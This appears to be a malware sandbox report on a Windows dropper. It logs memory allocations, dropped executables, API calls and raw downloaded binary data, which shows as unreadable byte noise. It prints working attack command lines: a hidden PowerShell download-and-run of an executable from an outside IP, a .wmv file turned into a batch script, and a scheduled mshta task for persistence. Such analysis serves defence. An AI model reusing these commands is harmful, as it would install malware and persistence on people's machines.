base_address: 0x02b8b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b8c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b8d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b8e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b8f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b91000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
file C:\Users\test22\AppData\Local\Temp\10286670101\zx4PJh6.exe
file C:\Users\test22\AppData\Local\Temp\10287840101\advnrNo.exe
file C:\Users\test22\AppData\Local\Temp\10181980101\ZqkKpwG.exe
file C:\Users\test22\AppData\Local\Temp\440824\Organizations.com
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline PowerShell -WindowStyle Hidden $d=$env:temp+'PLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
cmdline C:\Windows\System32\cmd.exe /c copy Spare.wmv Spare.wmv.bat & Spare.wmv.bat
cmdline "C:\Windows\system32\CMD.exe" /c copy Spare.wmv Spare.wmv.bat & Spare.wmv.bat
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'PLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
cmdline schtasks /create /tn uA50omaOMzx /tr "mshta C:\Users\test22\AppData\Local\Temp\FSEfTpEuF.hta" /sc minute /mo 25 /ru "test22" /f
cmdline mshta C:\Users\test22\AppData\Local\Temp\FSEfTpEuF.hta
cmdline C:\Windows\system32\cmd.exe /c schtasks /create /tn uA50omaOMzx /tr "mshta C:\Users\test22\AppData\Local\Temp\FSEfTpEuF.hta" /sc minute /mo 25 /ru "test22" /f
wmi SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Time & API Arguments Status Return Repeated

CreateProcessInternalW

thread_identifier: 2812
thread_handle: 0x00000340
process_identifier: 2808
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'PLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000034c
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: PowerShell
parameters: -WindowStyle Hidden $d=$env:temp+'PLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
filepath: PowerShell
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\bb556cff4a\rapes.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\bb556cff4a\rapes.exe
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\10181980101\ZqkKpwG.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\10181980101\ZqkKpwG.exe
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\10286670101\zx4PJh6.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\10286670101\zx4PJh6.exe
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\10287840101\advnrNo.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\10287840101\advnrNo.exe
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: C:\Windows\system32\CMD.exe
parameters: /c copy Spare.wmv Spare.wmv.bat & Spare.wmv.bat
filepath: C:\Windows\System32\cmd.exe
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2644
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 16 (PAGE_EXECUTE)
base_address: 0x02ec0000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

flags: 15
family: 0
111 0
section {u'size_of_data': u'0x00014000', u'virtual_address': u'0x000d4000', u'entropy': 7.050524787063635, u'name': u'.rsrc', u'virtual_size': u'0x00013e44'} entropy 7.05052478706 description A section with a high entropy has been found
Data received HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 01:39:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 24 Mar 2025 01:17:20 GMT ETag: "1db000-6310c5d9f93c1" Accept-Ranges: bytes Content-Length: 1945600 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ѶBS•×,•×,•×,¼/˜×,¼)/×,Ç¢(‡×,Ç¢/ƒ×,Ç¢)Ì×,¤‹Ñ—×,¼(‚×,¼-†×,•×-g×,Y¢%”×,Y¢Ó”×,Y¢.”×,Rich•×,PEL#»gà òÂ@M@pM9Z@€WàkÐH|)M,)M ÀÖ@à.rsrcHÐæ@À.idata àì@À  +ðî@àakiehyda 2šð@àpwemnwqq0MŠ@à.taggant0@M"Ž@à
Data received {Øã ÷·$ê¯0ëC ÓæWç½Øï×ÒG†–$Uû‹•NP‘”¦ƒŒ¢ìºæ¦!È>œ÷C3ÙþÈ÷™~¦U>Ûâ<47,¡ùt䄣>ì/(ç ±`÷U֏î[@óGÇyÍ©a¨“T ¹×Në¦_ ›!ûrAÃ]Ë®zË Ó#§HvIÃ@l‹ºÔЯ2 Óõ¯Rÿâù#‰ÕÔïG¤ÈeÅ$£ ˜ƒa AgÁ­5²{_ïˆÉ_Ms¸òRMeÙñƒåëØìZKÆO“ŸøœýL¤!µãD¥ô¥_=¤°ã­£CÓ!gàø»–§ZË`¦ÛÊä»Z¿1ÒȘ1ƒ˜ç?‡rÚ/2äþñ†ö쬍1wèÜIü»¡›¿ËKܧ­Gª±Š(Sú‘XWŽé—1‡V˜Àè²}¸ƒOc5aH¥y»À‚7"Èü‘o¿þjÑ¥]Ÿ¡{s I°á° ӇgǪÿ׈Á¦åâ?= ü:Ÿ‰t“ãv¨•)Öš;<¯rð¸,1•8cì¢^Kß@Jî()ºÐûNØg*¥Í{:( H³»ga¶P„(‹[Œl#ší\]ÁÍè ýØr} ßáîqYâ« çƼyY状y™…!/‹“Ló(e‡»Âik6ú•p̜éő$çIŒá‡ˆ$6ŸßÓÃâń Ó3P¿C¬ÕÙg5*îL2ƒè[v¸=Q¨šªŽÏÝT˜Òõ>(¤\çQïgǧ߀aó$… A¬BÜ<Èw6€ÿĊMªl¯nX$ÝUÁîßS g>L³"ÐàcZ‹ž+Ø"÷ž ú8j&s^7×RÀ±”%‘”¹"˜GïB/{NG§³Ù.Ï×¢#<žü<€ªìâÒ³79¹#à…tzÊbÊÙ}œiæ+k§ê}gƒq4W0ÕÁÏt¾Ü«…c’x+불„þͱq(u‘—>Ÿ˜Æã¯ËÀ¯Õ2HzŽõží 4Žôæ<åmÒÊ=-éÙ߇Ñ7æ»Z Év“~Š5HÃfl5^¦$±“†*x¬Ås5Ófø`7uÕ=Â}©[F…'„…ç#…y[?œ”ÃTê΃e xYëä߹߷“NéÅo^z¾Oˆ­k<G뜉h²ñH*T´@¿˜ƒ±z„g$AÌ»ëŸóZ±¨þ7Έjêþ_(ÔÄGÚüP£"Oê×JËg?ÇXƖ­JbË@u§tÖ†ÇÝI„:¼º3}lŠÃ;¨¹[ÛçÉޅ‘”= ABØÐ°ì_ijJ—x›¾ç¿S–Lkêà/;9p²ÿãkG#·—´%¹{S§t?›äÕV¾vƒ“Å%ÉØ=¥¹) Mz»Dõø6»dËNT.X>dæ¡»JöGgþ8;OçH°êîPAV‡§{c+ðØŠ–¨Cìa,È>æ4UM°È¸ŒØÇi¨Ú–ðÃi̾v˺ö‡•jçâ»<Î^èq¹´W“\*›«ú -‚ Õ³ôΑ@£?¬)øÊøFŽT\–ìƒz}%ÇDúw¿¦’ÞçÈ cwèw;°Òe•óHׇYÆ!GĨ@³žÑŒ±ò û#ãBz´35 °?ס³ñ·§Ÿ&zVãÿe–tcs?ڟ#¿¥c˜(œãµùÑ ì%CùwʼóÉ¿~+‰OzTòn‰Gœã7׃5ÖÁÕÿjòwGºcõùÃO)¿´5ۚ_œSxõÚ%?ÌxóòQs.o2d¸Ö±ë냁—nYðç‘sºxƒîÕUyóòŸ&‘›»Ë8ÝÀÛ«nÂܰ«ÏZ%²§)S±K2pœOô6D˜Ã"—ûYŸ³u½5ÿ×iW¡ų9ñ˜ ݒRxÓýòÿ–.ªJ9¦›†  Ýáߖ£ÍŽyèUy2<m làÀsۗ3Lû27`"GnK•WÖ/*Aí¥š°¶Äã3n g'´z‡;“F·ˆ²³çëï•ù·Ö¨ ŠÏÑÅDØ{EthÂ×G^\´¢¢èÓßÓÈ}¥þÞcù<dç¯Ógà+SÝ ƒå^³.ÁÕ¼}YLz Þ´sÐíè´½É+šÏËà‘S°ªšBôB&“åI–‡#ôÉ-ÑÞ/ÓH.„Ùe9ä7#‘Hh( ÂѺR„-Ǹ´Ì>C7ÌòäJÿŨ埼 ÿø9¢ÝòDRÎÒEmµÞ·³Å¶Dü˵Ïöc7´D˜À“³à¶×QK›–Ø—ªo׈Br×^â֋ف¦·¿ªä4“—×Uoùn ÏtÂTwÍÂd{_ô‘; ˆ ˜·‘PՇ:¦û‘úÆݔŒæfO¤£ö1ÑUH7ÓD¼›Ö¨°QG“aúãÛÞ­,ƊÏÞåPÃ{vWÚÆCÕ^‰fü!¥“ãǨ¸îÛOcBG±W‚½*i£Ò(Àˆ…úß­ê×v#![i ¿Øƒ{¦e"Ÿ²Ú±¨B€:µ«–^d#WÎ-ÆÙ¤žÀ:ø'–DSǯUg‰ñ÷óšÈN¾>YÀŠ_Kut*A›‘ˆ€{œç5÷ɲÆûx——¢YÛ瑇ºx—îÜP«õÇǬÔU–¢ü,Ǐ3¯.;5{-3âêq›#x%_)p+§S‘GgAßy‘öû×\Yá‰à}rêŠÃg#gàvÐ.c:Ë<D$Lmü£ äö¨AÊþÐÃÇkÁ(O=?«ûÐf͂ ïDíÁ>ûŽÄÿ³úK;„G“\à +jî38$³ ~<õZ¡èi¶VuKœBqŠ@PâldTø–‚UÉ?|†c#èksÉ(ñH ·˜DLûH*‘ÌGZš3aCzB3CÅ bÖÏv˜K։dèO³žn÷×êU5ª»)L^P©šû¡I¼Ã Ï<µL† TÕÛ×þRÌèÅE'Ûw‡‹#@úŠ{z3u@scš¦òàŸµùÄ®ì#Ñ«#¥Ù»4êޙüëìÅÉê‹÷ìݞºÒns—=? =¢JZø(çXYÎ5¹|Uékzd>¢l”¢Xû"£á%$Ð9Ãf/ûó§U&±› §¿¬hú÷€?ë’Lô¿Pûk_–pm¿¡Íƒ$„‘¿ÐççžõvÕM{4ÿ1@Õ¼ÆVÂ;¿`¸ÈfäÓwg?…›ç²9+x=nZ€p¢{ó§jÐFc°=Ù8 Ó¼f«›¹‘²“âû¾©]f¤òdO<£â£³VÌ[˜o!äÑ;:x£|»P6Çwˆlå¹oHâ Ðz›‚–Ô¿x|Ïrº–ÊL!‰øÄ§¥ÿHyc¦×R© “O즦ÌÀ ž‡ÇuVç`vŽê½»µ {éÕtë 䐹¶~µYGaŽ÷@ÓIµ8o/"Š–²éüàf5ûBãa€~ò¢ïõ™0=ÜäÐɺ§$FGô@€âæu¢Å€ä—‰ 3sï+·©@Êož(ù¦|Ÿï?q–—‹qAöymr™c’ÀQ^²³úC´`.YÓ¼~AäUÓ¼WÒØA¦±°ÁYœÒݾgúÞÓxµbÑ@ ¸ßt‡”¡Kû)ŸI €:%=pò€½uŽ‘nâ’Lx#J!Gü­ ðõ´° %xWD&û"6øŽ ƒÐ­î2C‹/‘²)û7pDÿfª_LŒµÅÙ±^ŠÉ—B=#´þ´¢þÓåÀ{÷ûԟÎQz,eK³xûëHbFTE;i?AjuÞÜšùúU@¸ðü®(•Íw5œRp Ýüw¾Ê¿#Õù
Data received + óáþfÆvLÑøèVӈEG!Šß+Î=.(£°ºÃ>¤€JîEáú2Ô5œ:â\gþX#§*¸»¹›Xð"ZÒ<”²ÄÁÆoÑr6ôÝdSSð] "ð2X».PO°Òõ[(á#òr›34=°7gƒi+%²¯á*‚¹gÐvÝ\Aã±­P@©ƒ\_ú ªÝ)ñ¶kæ²ãA1f;7ðà}x`õ²^.·nOT§Öü—3hYÄÿ×㯖nâ`V×ùèõ}ÎHú*LhéÛ[©5[v5‘Žºûs7Õ÷ÅlÛ»i dq¡;q„e6£ÀZ5âk,f¿sù§L䪼_sœ²L‚ô:8‘ ǝóÖjZ¡:Rê6Ý®ó ç¡ùjÒº,ÛºeO¯hîòvK𠲕»î™ö—†C5ËSösšS3u4BÜ IGM‹õwƒ;ïøÂ›¥8ŠMÔ§P[sFõ.  ÄñEDñŠÇH34"½‰âpn±\u ä´ E֟X Š~ÜÜ* †Õå°;ß6oUkú?Ù¦,à̗‰žn›jœ÷úb‚ì=žÔÕfs+÷YWŸü^Ç\ 6§ÔæOȖηq|ôâ±èW=æò‰A¨Àd7–ñ7Ë_ú_°ö˜Ê9“´}]½)êjiâm÷ ö–²ò 5PåÒkË7›y:\'Ãm“¶fBÑÔ*œe3o²d?ZÝqt–,³'ùC›øþ!Õ6ƒ–%ÈòÀÒ܎㜠²ѨÁ<ä) üJíӟÈ>µXY<; De=<áWøŒE ­Õ¦ÑS‚¯$°ì½òçÁh}ÛÍE݆Äûæ´d Œ‘Ø…~áNwk6@€þÂõ4G ËÀtPYaLšæŸ‘–IjA¥Ð¦SäúaÙŠ-šén]Òöx®Ä©‘`?Vˆ o,‘ÙœGÃÞìãC¶_òžéË/n’oçžÜÀtX¸T#UʘìkY×é[®8 }ÈXw +«ˆ¼yb«žµMH°ë;Á4lH«>4?jGi‘™ÞDc®òÄ´}|ïs²ãCÚS`ž()wh×êÈ;Ho@ïNK34â ¤ño”‘Óÿëpû™af-¢+ò;lE™;e¿ëçòSRÒo;I•Þ¯dK+ë*ˆ53*F €èÏ2›nò&¯X a$g<«ìUo`™ 35°hß³"ðàóqªýSnòÃ`¡×¡Ø‚çž×Uš²â†•né)ÔX—FÚùL¿ÉBqDZç[’Ó×üQ];2ùB çè|1InøCTÓ¸_sÚ;ÿwóHTٕ<ëÀo•7<w3ûnS&ªXcO§dPý9û°_ú<C|[©{dþÕ5¸yGA"<§OÒ¯û® ²6ûØsi<Å{‘¨“+Üë#ùqÐ]ã¹¼.‚Óׄ‚ fwÂë òç@v«"Kn¨j ]ÝAìîbkIèç¶­+D’’]:@]q›Ä†Ð¥ ­âÀJ3ƒ4Aß³€¨@ÇãÁM]4É)ýð“ð1¦ÂkùÕñt 2/ðŸø1ëߖñšG¬^‘‘¥ 9ž{f‘²bâJ¿xW‘6ÕO‡"Z"2W'ÂKKî'ÛO´¸Ü› ¯\p #œDPw¦[ê³<57ØtÎàªÞ¯²3$í¦ú?T§ø›÷x…<·´›ˆ]+ÚÆŸ#±<ð¨ äR*HiLnú»úöƒ3# „:}žPXÅQ‹58 ­,ÎÝç- §s¾%ÍNÅÕ¿Àãӓ³e”àu‡ÿžd /K•²ž ¿˜G['דo‘Í{·†FUr'§ú—ë£ÚcC»{ƒº²V߇JÈÊ—Í•Ó êϔF¨Ê¸ÍÍ›B§”½¸'Zäæ…ŒwÊe×§©ðªû²£5G± ޳4°5]aŽé`ÄßU\Õc‚uwÜ6½V+Z§õó,+˜ÍŸý¨vE§õ•ÐCÉȼ:5‹Ò®}’+½Ó¼v71#qýÉ*Gh.6¹027U)þò÷½ÿÜ>Ë 4_0~#8KG©»©R~Íò Wü*ãÕò§)ÿ¢B䓨ÿŒ«u»ÌÒMˆÍ%V2Ì,ø™’ÆT€S}@ãFö1XÎ!‚8Ç$夌Ã@«óTf%ú¼‰ÁTóïcÕ×¾Žh‚GÃͨž±ÓüÖך9FO®+G›:P’£@µìù’§/ßVÚdE£oS9Îï Æú}3©ëq‡®–²8G^k7À™ª5TgoYl"¿fAdæô§¾Hï2ÔOv2ç¼~_lSu1õǧÿÈçmⰇᗰ~ ¿cúÈ©Úp¬÷ )(—x«.DÙ4֕Å$ˆ•–܃¢aiwIÞ,DµŸ›¥{Ϧôvûv˜±¶ü•Ô¦O! ÇãEÒ°ï˜ôpñ†®ÇG‡ëÚÀ H³>½‹C–á0=ägãC_e ƒ‹½qÛ0© ÒߏÙùÏQ_q¬í±‹‘оšHusâ‘ÈØ]-ü¿l6Ø¡èwÿ.+‡¯úRºœÎø|¥¡„€j^D˲xfb¼(1ÄËÉœëÇÅfÜgŃ߬2*ÉÿV-4Ìfݱ3÷¦SÕÊëgÁ<|ù~‡ÙîÝìª/¹f^uë«Âٜ4°P‰§JÖϐÜ0%+èÍç‡A•B]Þ(¸”†Þûu÷Eâx•ÐgîtYúë·F¢ÄCa6mù¨ÄÙ!r¯ÉC%×7×ü“öfÅMå „ßv¶*ží̓D6&±g²G¤d^| ö˜»çwrÌ@I†ïP¥î&LqZ+ûÞ°=Ñè¿3U Û¾Fu'ßøƞ Ó7P+жÚЮt»§º}ZüöÇ3m1š*–ÌҗV”q¥u“ÜC(‡ˆDè×tiÚÔÓûØB7ÝgFä‘V}àYè߁ÀÅõñ{v´(޵ÿ¨K2ݍÀ;‹2Z2‚\”=ÃE°‡z oBúÐÄS&8#Võ:ö&°õ÷Lö¤Ü>§CG‹–ó(æÀ»=V{¸<ªŒ®Ö߃-„£ÓGkä}–1[å•ÑæG<ÀPD´W†ú°äGŸ)Ü£°ôÂ\îÌpùá0¼y è·¿^¿ŸCy~ùËÞ»#61<'³myÉH6v2ŠO%:6«†¨[#Í]Ëdòq"}t@–¶ÖßÀ¬ûW¨û3ÛÅN”3֙Ýï’Ò4¢B!™ÄðèR½ãÑaö;·ío?JÏy«gY‘TC°B0\½'äú®Õ†“Ý1Ï¥0¶þè{A‰ÒÉ,¥Í1M`ēŸ‡Ëôʗå÷Ž€Êç3Àƒ<ŠÔƞ?ä¿iÃw9—jJÄÍ|ލ åûþ… ^•6·Å«›¢—Av›|Ò¶RHé…úÒ[l?(/q̀ì‚Õ÷.‹ Äàڌ æ½¯©~|hï]Õ¯.SÊaŒ© /çè–ë.ð"yqõ'$j»qWãëAþ€K³†ñJ^è3~9Â"/]q˜:Äü¦xÄw‘^bï )ƒ)*hGbvÛ²¶V`cW^ˆ÷‘Ž8{º¯¨ è¥Xƒ@iÁÓîÄw῏2fñ®Î³s!æ’pâŒKòïrxÊãâpTóÃtÂü÷¯W£–{²öëºÝØX0¯b{#&ÛÂÚ5Á>¿±wJ¡tª’̺7‘± &t‘6Gsà´4÷ój櫯¨rÿ%n £ê·§ë¬Õ–qê:ì ·3ÄÞÖÎva· WS\nxGO56ûGwŒx£4þ@DvnxnϨêcT ߞ8@ +€P
Data received P Æß˜K€¿ÚŸ3öÑà#'-M´îG)_Fá|"ž5-\À¢&vGË8Œ×ÁO}P3«w#xƒÎêeV1bJ¯&BÕÝßñPIc2ÿåøöG½ÈÖãO“”Ìr­žjÖÁŸ÷²a֐c»êw2èòÞ ‰Ç}ñŒ]ñÓ»Lt;ӘhZ  1§¢è}ÄÍÆDÇa7NÀëÔÜ) Vqï*§¢ß$²Ä·tƒÎÁK×➘¶?*º¨€Ò¾(>‘½ÖvÄs•è+›†#¨iAG¬[dýe/·+ÒħOSàQÄçR‘æüΣ]‚õ‚UdÿBÙs`8Ÿgwl]Q<SÒU¯ßÞqBV'OÙ{-Ñ@œO„Ý¥]’ƒÂ¤K§ß¢I:ìːõ¡íꜜ‹xÒ렝櫚¯¬Oï¼^Ôvɞ›Ë4ž9^ƒL‚B1¸5˜zߝ— ãÖSœA0µ"V§9yܳ7?KœDà¼"Œ’'/­ÿåÐkӟ€d”UÏŞ;ŒÞ+Fåñ›Ú$## Ïd7ä!2jSßÎιIð‚ߘéd±»Ÿu‡u‘Ǫ̈§çz‡èP«տ݇¼JÐaž(¨á{ï(N¡bB×»be€ŸµÍßTõíäå•öVOKÂÐOÎλ¸"›‹{i±Ãòü¾žI«œ",…°©ñÐJ‡êДxáAg5黿9ªàé›>@S—>è¡8”Çײ»ÀôzîzÀ(Í›L¿çåTϝ¾øŠ]lDÃåHX¹ZJ 3çLªÌ–êP-ÏÌ´†Ç´¸ÙÌuz!c0ö̚Ǹ2yõH'ýæ¹Òri(çWi)„«}»¶5Têôéûٜ<þ%o«yõb&©µ{0ó…ï«%äú¦4ÿ)?ƒ@ B¥*´–ƒýJ¶DÎäÿãX'›+~§Ù¶ºßÕ“ÙãeÛ0æR´Hß–ÓÃ&£¨Í›Âã«Õÿ4ŸÝV'ëWx›áò¿ò(Hö=󅯛ç1Ôô6ÒœÊL•µüvP¢5˜Ã‡•g‹ÒšÍó•ÄÂcԌVæ½úÄy‰L“5Èúށ÷˚ö­(Üû;„ºÞ0Ëì"ͶÍüæŒ4KP ¨Eÿ»îQIÖT?€VÚBÏ·fŬ̂œbÛ}ü>køœFG=V§oØÔ*Ö\'Í«~†˜‰ 0£OE­‰ÉPî.3‰8š¿ïìeêøw±QÛíyÐì¯{ea{ );•º"JƒÇ?fx¹ÁøÎV®þ\ýõ-G=øÓ*iâ‰^´!²M¾eùÆ·[1;ñ‡4è³±p³â(Ïâ2â¯fàÏ #z.’ñ?Fú0BúßB•ü-<Ü=!Àg}.BÚ fcBäÛg\j{$¹ÇØGâ‚ÐO´Í¯ß:k€hþéSÉ!Z£Þä´Êm‘ÏғwZçD-Ý3×@/Ö´žrQ%ª÷3³BýºÁēä–¡ÉôˆS=êñ³é»·ßîªÁ©Š%‘Ë úºÔÑ \VÃäí{䫯{ÍY—è*Ûè…ó–å–â¼õ úö¢¸A¡ëòNf!)óvàª³àTB`òŸ¼žâÀ CCìÐzrJ¹>Ó·:¬ ΅\†È¯ 8Úãìâ%‘Ë%NïmÕ@e°èášl¢RÀÏCÜ=ÔmB”Û£bЇ&m‚ë&ôZŸ]”DuéNì[nx¸ËQò š¢O70d“wcž±¦î瞽cžyîõ,nº_éæì½‘Õd7q3¬ß# Lá'¿j}x¯Ò<UÐ %Ê`IðRc(å 'úˆ›FËCD)‡8Æ×ôNs{Sý‰ß dÎ+°'™]+ruèïþÒ\Ièöô<«\Æ f1VçKÖÌ{ìük>2i2PhÅZlmzÙ~GÅ߂òƒÄ‘Яˆ¼7:(FÚè6kwjÛEïÑÈîWeÃÅ©—í€l‡X1Çg‹»ÄÂSº[+’”™Ž!ƒóåã©â¸ ä'ŽAÄw˜§é Hç¼ea< Ät€ôÐlËܪyRØ~ÎÎf´ÁÔي°C»öçåjR#P àØD:ØàQüۜw2:ïCÂhˆË8DZߚ®C89ôï˜z†¤çD©€óGøßÿ»™c‘&@«[ǐö’fŸ7R›Ü{oŠÝ˜°EçF­¼ù%†GŠÿÅ“i2Çj© ®î¹(í5RìfEØ©Ê8ŒªMÕi±*€8”ÛDCÆB€aT/BÛkýõJ±åˆÞ¦3'¿÷¥Zô0±TMœëzôÈoxt'.'i aR_xGç—Ö2I®&f#õ3~ÉÅr'.ÛÚ¶¤ ÜEFʒâ+dÆ{ɕü¬ßÁGÓXµ;4¿ç.â[óßy(‡¹–¾õ¾9ýh0+îÇr*•+mOÛÞsV¿—zëŽÚWÊßü§3}ðÔÁVzC폿ÊWä¾óç‡6@±S姯¨šêT§b[G|"eÍ’ç¹æçýOZvU$ٜ¹ûwSœöÅ󜹕cBµ»1 ŽðÆ:÷nØø*]À¥c³¥ýHe¨óêI}ïÂ*Ã$ê}½fÎ'8܄[H‚±¹T¨%¼æ1?xòžj(± é Ìe©ŒGÄÉLÁ)>7VYª3ൕ^ä°#EÂD‹‰½¼¤&ݎ¨™«à‰ê€hy»•wóÀ åÔ?Çf𣂝¢z¢òšèd Ó'€2¥ˆVV´Vˆ«gçl‰Àq’ïHØô;¯ýjr±u'V¸½êurÓ=×ñ*ª©º¤ÛQ—V`Zñˆœeǂ*nÀÒÝi«š2<͙*À» ÙWÈy×PHÜ1…j©¬#ÜË~æË.¸¹ù5lÝ»‡™ëøEŸL4“1ièu»þj÷çÍiÛ?ߞʳÖÞà3ó6o¯#‰_#D²a<Øì›µÐ0i¹"<ç8ãï|‘ó淚"’Ízà÷ßøvB"÷GÇ:C ÒÓåÀ@& é-ËߞÏvZ“ó2ÔߥÜÝÅ»“s¢sžµšCèŒÜ»‰>ì+µü‘Yš¹~Qa=Ã_<œãj;ãA3ÓhÐÚçï N©0?¹àæE\fÒßzý6˜9°Sï/vâBUÁßÓ¨ÛÊ–44ãA3JO«i¶^_€ãÓ#èB}#ã|¨Î$3Š-ݕÝžÚ аPŽˆÑ-€Èʁ','È!ØhaŒ} ®Æ ׿ïz¾‘¹Œ÷ƙÞ␿X“f›OiwFÓk¢éÍVNìGg±õõôõ‘>Ã^×¨¢d€ˆrS ”NþõÙ)çjÒRà¨1d‘'Ç þ#׊Ñg´}ëõ%ÜíAˆ©fé\ùp¢l݄Gû(·š¯~Ÿ \•XÓ5Ówþ$ÛÕ@Óêwv”Îû=Ó&F¡µèâöTŽ“¢çÕèc½áè°›ìœ’ýëü×÷db¸þ8êFÁ‘UDe¯ Ú<֫ó_Õ¶Ý{±X?†y¦Xî×ËGÿä{6h¥ç~{æ¶÷ðiׄSᯐϨ*ì¡ ÔPàð˜ îîï‹û<è£W~¸³½q }Ò³9Ϛdv>¯‘¼[¥sK·ÉýµÏâÙ¬C®_bpîKãÖ;ÃI¦3¼H•Éàðf*€· búŠYØS!ñM":z*et`‘œR¨â$þkÒé­óâ|§Ìds½,éÇæڜËpÏûvrôúpZًLÃ$Lr†# ¿j°•€º*c(¬XÖë‡à~>dHèZ܍ù0çy½Ù0¼{ÐË
Data received -ù’ %{aW£.ÞwtS?E‹y›xe³ŒƒŒÇïx©7Cycô{Äm¢X]2ƒdœS×Ù¼“ôSŽ×'#àéû¨yŽ·†ü~ü’“n¿dH“‚R‹“–N'Ë&ªnêg‘‡D#E¯:#gÂf b»%V…¥‘}©Â·À:ÿƒ¾ƒ'¥À_ßHy˜À›ð›RÙB‹ƒsÒ&Ô«¡×ã­³Û:ƒ@ÏÔs¯³vN§{ Á«Ö¦‡Ÿc¥±ƒ6{>L勓¶w&¯õss5DHûäO³ ;\AÿˆG±žh°0?€À`i‚ –å—¶– ûró£–6kû¥æç’Iºã>õ‹›2Ç»³zßTë·¦y q³÷õ³2÷ìºzÙ8‡Óu‹Ôâ@s:Hc䄳W;}ZSã¡[Ó\es¶Ø‹KÓ<?ÜÂ?Õò2Sfâ Rb+C{šÁ×e‡óc±ç6—û=Gå璨ã%£C5ïËÿã“@¯Ù¤k7Û³ÿÓ¢8‡ã®Á‹Ö¨‡c±c6‡o>´åk“¦W&WõSs_cHìäo³(;|@×ԇ“³Z ©¾÷ð~ªbú˜–ýÆ{ªÁË֙ì2{ôH¿y£3*Ä/©¨æø°[`“•Òš°_…OÀÁÄÿ°{@> °HqCÀå±–f7¦W{&aõgs?HHåS³  Gk_°?Î5[„Øk°|lóº{wB–@Šû˜á@–º3™ê7–a¦,q £ÿä”Ó {6üïýÓ=âäð¡ÛÓ2]‹¶á‹ÏÓ#>7áÀ³zÕD•ââŽf«'á”îòŽijO¬>Ûd°I˜?±†°O‹G‘k°9Ò5K¦øŒ>  >|/B¦%º3™Ä7g– Ï»?Øjc–qƒÖùO–6:KþãaÚ¢ãü¡/Ô>µä 